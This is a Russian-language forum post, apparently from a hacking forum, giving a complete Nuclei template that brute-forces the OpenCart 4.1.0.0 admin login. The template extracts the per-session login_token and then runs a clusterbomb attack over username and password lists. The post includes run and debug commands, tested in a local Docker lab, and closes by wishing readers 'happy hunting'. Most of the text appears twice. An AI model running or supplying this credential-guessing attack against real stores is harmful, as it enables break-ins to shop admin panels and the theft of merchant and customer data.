D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Всем доброго времени суток!
Статью пишу впервые, поэтому жду адекватной оценки и критики.
Если вы узнаете что-то новое про шаблоны Nuclei - ставьте лайки,
если вы и так уже всё это знаете - можете ставить дизлайки, а самое главное - напишите почему и дайте свои рекомендации.
Как все уже наверное знают в свежем OpenCart есть нововведение, а именно динамически генерируемый для логин формы параметр login_token, будь он неладен!
Поэтому простой Nuclei шаблон из одного http(s) запроса который тупо брутит - увы уже не прокатит
тут нужна "многоходовочка" , а именно:
1. Один раз HTTP GET
Спойлер: OpenCart 4.1.0.0 - форма входа в админку
2. Много раз, ну или как повезёт, HTTP POST
Дабы не издеваться над "интернетами" и реальными таргетами (трафик, шум, "палево") отладкой шаблона мною было принято волевое решение развернуть свежий OpenCart 4.1.0.0 (3 days ago он вышел, ну как пишет гитхаб) в Docker на отдельной виртуальной машине (далее в статье её IP 192.168.1.219), благо и docker-compose.yml и Dockerfile у OpenCart в репе прям имеются иискать писать самому их не требуется.
Ну и в итоге получился вот такой вот Nuclei шаблон на всего 60 строчек в формате YAML , где для вас ещё оставил подробные комментарии что там и зачем в почти каждой строчке:
Скрытый контент для зарегистрированных пользователей.
YAML: Скопировать в буфер обмена
Какая может быть образовательная польза из шаблона выше:
1. В нём показано как сделать два (ну или более) запроса в одном шаблоне, но не просто два запроса, а связанных в цепочку где второй зависит от данных из первого. Запросы я намеренно сделал сырые (raw) чтобы было подробно видно что передаётся.
2. В первом GET запросе показано как extractor'ом вынимается контент (любой, регулярным выражением, причём с "capture groups" - используется 1-я capture группа) и кладётся в новую внутреннюю переменную Nuclei для использования в последующем запросе (или запросах). Это удобно если первым запросом надо получать куку, токен, nonce, etc. для последующего использования.
3. Во втором POST запросе показано как fuzz'ить ("брутфорсить") , взяв пэйлоады из отдельных файлов (внимание: у вас файлы с пэйлоадами могут лежать в другом месте и называться по другому!!! всмысле не надо бездумно копипастить я вот к чему) где каждый пэйлоад на отдельной строчке в файле, а также показана работа 2-х ну очень простых матчеров (тут я маленько "схалтурил" типа "работает? и так пойдёт!) по условию "И", ну и на первом же success'е чтобы брутфорс прекращался и показывался результат.
Запускается всё это дело очень просто:
И работает вот так (практически мгновенно так как "демка"):
Как видим логин "admin" и пароль "nimda" , всё незатейливо.
Если же надо отлаживать шаблон, то все запросы/ответы можно увидеть запустив вот так:
Выглядит с отладкой оно вот так:
Спойлер: Отладка Nuclei шаблона где мы видим все запросы и ответы
Спойлер: И вот ещё картинка с запуском с ключами для "средней подробности"
Q> Откудая так поумнел внезапно взята информация как делать шаблоны?
A> Из официального гитхаба Nuclei - там есть полный syntax reference шаблонов.
Q> Будет ли это работать на предыдущих версиях OpenCart?
A> Скорее всего нет, так как "затачивал" именно под новый свежайший 4.1.0.0 с его #%$цким login_token этим
Впрочем предыдущие версии OpenCart брутить сильно проще и на основе этого шаблона (путём выкидывания лишнего) вы всегда сможете написать свой шаблон (и поделиться тут со всеми!!!)
P.S. Всем удачной охоты, ну или "просто побаловаться" !
Статью пишу впервые, поэтому жду адекватной оценки и критики.
Если вы узнаете что-то новое про шаблоны Nuclei - ставьте лайки,
если вы и так уже всё это знаете - можете ставить дизлайки, а самое главное - напишите почему и дайте свои рекомендации.
Как все уже наверное знают в свежем OpenCart есть нововведение, а именно динамически генерируемый для логин формы параметр login_token, будь он неладен!
Поэтому простой Nuclei шаблон из одного http(s) запроса который тупо брутит - увы уже не прокатит
1. Один раз HTTP GET
https://your.target/admin/index.php?route=common/login
для получения (с помощью Nuclei экстрактора разумеется, регекспом) login_token из логин формы:Спойлер: OpenCart 4.1.0.0 - форма входа в админку
2. Много раз, ну или как повезёт, HTTP POST
https://your.target/admin/index.php?route=common/login.login&login_token=тут_этот_самый_login_token_из_пункта_1
с типом контента application/x-www-form-urlencoded
и содержимым тела запроса вида username=имяюзера&password=ойязабылсвойпарольчессловаянехакер
Дабы не издеваться над "интернетами" и реальными таргетами (трафик, шум, "палево") отладкой шаблона мною было принято волевое решение развернуть свежий OpenCart 4.1.0.0 (3 days ago он вышел, ну как пишет гитхаб) в Docker на отдельной виртуальной машине (далее в статье её IP 192.168.1.219), благо и docker-compose.yml и Dockerfile у OpenCart в репе прям имеются и
Ну и в итоге получился вот такой вот Nuclei шаблон на всего 60 строчек в формате YAML , где для вас ещё оставил подробные комментарии что там и зачем в почти каждой строчке:
Скрытый контент для зарегистрированных пользователей.
YAML: Скопировать в буфер обмена
Код:
id: opencart-bruteforce
info:
name: opencart-bruteforce
author: zdestuta from XSS.IS
tags: opencart,zdestuta
description: |
Bruteforce OpenCart usernames and passwords.
Based on Nuclei template http/fuzzing/wordpress-weak-credentials.yaml
Tested on fresh OpenCart 4.1.0.0
https://github.com/opencart/opencart/tree/4.1.0.0
Syntax of Nuclei templates https://github.com/projectdiscovery/nuclei/blob/main/SYNTAX-REFERENCE.md
http:
##
## 1. Extract login_token parameter from login from "action" attribute URL.
##
- raw:
- |
GET /admin/index.php?route=common/login HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
Referer: {{BaseURL}}/admin/index.php?route=common/login
extractors:
- type: regex
name: login_token # variable name to extract data to
internal: true # for use extracted variable as {{login_token}} in next bruteforce requests, see below
group: 1 # for extract only ([0-9a-f]+) to the variable
regex:
- login_token=([0-9a-f]+) # see <form id="form-login" action="https://your.target/admin/index.php?route=common/login.login&login_token=...
##
## 2. Perform clusterbomb bruteforce using users and passwords from files.
##
- raw:
- |
POST /admin/index.php?route=common/login.login&login_token={{login_token}} HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
Content-Type: application/x-www-form-urlencoded
Referer: {{BaseURL}}/admin/index.php?route=common/login
username={{users}}&password={{passwords}}
attack: clusterbomb
payloads:
users: /root/my-nuclei-templates/users.txt # !!! change this to your usernames file !!!
passwords: /root/my-nuclei-templates/passwords.txt # !!! change this to your passwords file !!!
stop-at-first-match: true
matchers-condition: and
matchers: # Maybe it's naive matchers, but it works and tested on OpenCart 4.1.0.0 :-)
- type: word
part: body
words:
- 'redirect'
- type: word
part: body
words:
- 'dashboard'
Какая может быть образовательная польза из шаблона выше:
1. В нём показано как сделать два (ну или более) запроса в одном шаблоне, но не просто два запроса, а связанных в цепочку где второй зависит от данных из первого. Запросы я намеренно сделал сырые (raw) чтобы было подробно видно что передаётся.
2. В первом GET запросе показано как extractor'ом вынимается контент (любой, регулярным выражением, причём с "capture groups" - используется 1-я capture группа) и кладётся в новую внутреннюю переменную Nuclei для использования в последующем запросе (или запросах). Это удобно если первым запросом надо получать куку, токен, nonce, etc. для последующего использования.
3. Во втором POST запросе показано как fuzz'ить ("брутфорсить") , взяв пэйлоады из отдельных файлов (внимание: у вас файлы с пэйлоадами могут лежать в другом месте и называться по другому!!! всмысле не надо бездумно копипастить я вот к чему) где каждый пэйлоад на отдельной строчке в файле, а также показана работа 2-х ну очень простых матчеров (тут я маленько "схалтурил" типа "работает? и так пойдёт!) по условию "И", ну и на первом же success'е чтобы брутфорс прекращался и показывался результат.
Запускается всё это дело очень просто:
nuclei -t '/root/my-nuclei-templates/opencart-bruteforce.yaml' -u 'http://192.168.1.219'
И работает вот так (практически мгновенно так как "демка"):
Как видим логин "admin" и пароль "nimda" , всё незатейливо.
Если же надо отлаживать шаблон, то все запросы/ответы можно увидеть запустив вот так:
nuclei -t '/root/my-nuclei-templates/opencart-bruteforce.yaml' -u 'http://192.168.1.219' -debug 2>&1
Выглядит с отладкой оно вот так:
Спойлер: Отладка Nuclei шаблона где мы видим все запросы и ответы
Спойлер: И вот ещё картинка с запуском с ключами для "средней подробности"
Q> Откуда
A> Из официального гитхаба Nuclei - там есть полный syntax reference шаблонов.
Q> Будет ли это работать на предыдущих версиях OpenCart?
A> Скорее всего нет, так как "затачивал" именно под новый свежайший 4.1.0.0 с его #%$цким login_token этим
Впрочем предыдущие версии OpenCart брутить сильно проще и на основе этого шаблона (путём выкидывания лишнего) вы всегда сможете написать свой шаблон (и поделиться тут со всеми!!!)
P.S. Всем удачной охоты, ну или "просто побаловаться" !